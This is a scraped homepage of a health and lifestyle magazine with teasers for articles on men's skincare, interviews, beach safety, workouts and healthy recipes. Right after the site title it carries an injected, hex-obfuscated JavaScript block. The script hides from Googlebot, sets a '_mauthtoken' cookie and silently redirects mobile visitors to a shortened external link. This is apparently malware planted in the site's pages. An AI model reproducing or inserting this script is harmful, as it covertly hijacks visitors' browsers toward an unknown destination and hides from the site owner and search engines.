The most acclaimed HEALTH & LIFESTYLE magazine<script>var _0x446d=["\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e","\x69\x6e\x64\x65\x78\x4f\x66","\x63\x6f\x6f\x6b\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6e\x74","\x76\x65\x6e\x64\x6f\x72","\x6f\x70\x65\x72\x61","\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x75\x74\x74\x2e\x6c\x79\x2f\x38\x65\x36\x5a\x76\x4f\x34","\x67\x6f\x6f\x67\x6c\x65\x62\x6f\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6d\x65","\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e\x3d\x31\x3b\x20\x70\x61\x74\x68\x3d\x2f\x3b\x65\x78\x70\x69\x72\x65\x73\x3d","\x74\x6f\x55\x54\x43\x53\x74\x72\x69\x6e\x67","\x6c\x6f\x63\x61\x74\x69\x6f\x6e"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script>
Today’s men are taking care of themselves more than ever before. Health meets with Dr. Sunny Shaper, an international personal care expert who shares five key tips for men to have a fresh and clear complexion. 1. Use a Cleanser and Toner Get a gentle, fragrance-free facial cleanser – one that works for all skin types – and cleanse your face every day. TheRead more about 5 Easy Ways for Men to Get Perfect Skin[...]
Read More
HEALTH meets architect and entrepreneur Nina Parvaresh, the Founder and brains behind Concept-Me, a multidisciplinary design studio founded in Paris in 2009. She discusses her work ethic and how her drive to break boundaries between design fields paved the way for her business. What else would you be doing if not this… “I love whatRead more about Movers & Shakers[...]
Read More
More than eco-friendly, glass products are gaining popularity also because of their health benefits. HEALTH speaks with Elisabeth Stephenson, Founder and Managing Director of Non-Toxic Source, an ecofriendly distribution company based in the UAE, who reveals why this initiative is close to her heart. The Beginnings A healthy lifestyle has always been important to Stephensen,Read more about Why You Should Avoid Using Plastic?[...]
Read More
Planning to hit the beach this summer? Read on for some handy hints on how you and your family can stay safe on the sands… Stay out of the sun during the hottest part of the day – between 10am and 4pm – this is also when the sun’s rays are at their strongest. AlwaysRead more about Hit the Beach Safely With These Tips[...]
Read More
Summers can be harder to maintain your workout and overall healthy lifestyle. HEALTH speaks to an expert about the best ways to prepare for your summer fitness goals. Before, during, and after exercise, the key to staying energized and refreshed is to drink plenty of water and stay hydrated at all times. Don’t wait toRead more about Love your Summer Workout[...]
Read More
HEALTH meets fashion, beauty, and lifestyle blogger Sabrina Cherrati whose Instagram page Fashion4divas aims to help women heighten their style and confidence with aplomb. The Start “I have been blogging for more than 10 years now. Initially, I decided to blog because a lot of my friends were asking me where I buy my clothesRead more about Blogger In The Spotlight[...]
Read More
With the airplane’s re-circulated air and extreme temperatures, even the most flawless skin can look lackluster. HEALTH reveals the top ways to avoid pesky skin problems during the journey. The day of the flight itself, take a warm shower instead of a hot one–which can break down the lipid barrier on skin that keeps moistureRead more about Avoid Skin Problems during Travel[...]
Read More
HEALTH speaks to Alice Han, the Regional Manager / International Division of the Korean brand Dr. Jart who explains why Korea is ahead of the beauty game. The Brand “Dr. Jart is an abbreviation of ‘Doctor Joins Art’ and was established with the aim to address specific skincare needs. Dr. Jart believes in the trueRead more about Game Changing Brand … DR. JART[...]
Read More
Created by Nabz&G for the Beat Diabetes initiative’s Homey’s Guide to Healthy Ramadan Recipe Serves 6 people INGREDIENTS 1 large eggplant 250g grass-fed ground beef ½ Onion 1 cup diced tomatoes Greek yoghurt Olive oil 2tsp salt or to taste 2tsp black pepper 2tbs mixed spices Dry basil 1 garlic clove METHOD For theRead more about Mini Mousaka Recipe[...]
Read More
Created by Nabz G for the Beat Diabetes initiative’s Homey’s Guide to Healthy Recipes INGREDIENTS 6 slices of spelt toast bread (carved into round slices using a ring mould or a cup) Note: Spelt toast can be found in Spinneys or Waitrose ½½ cup diced cherry tomatoes Pinch of salt Small handful of fresh oreganoRead more about Recipe- Spelt Dakos[...]
Read More
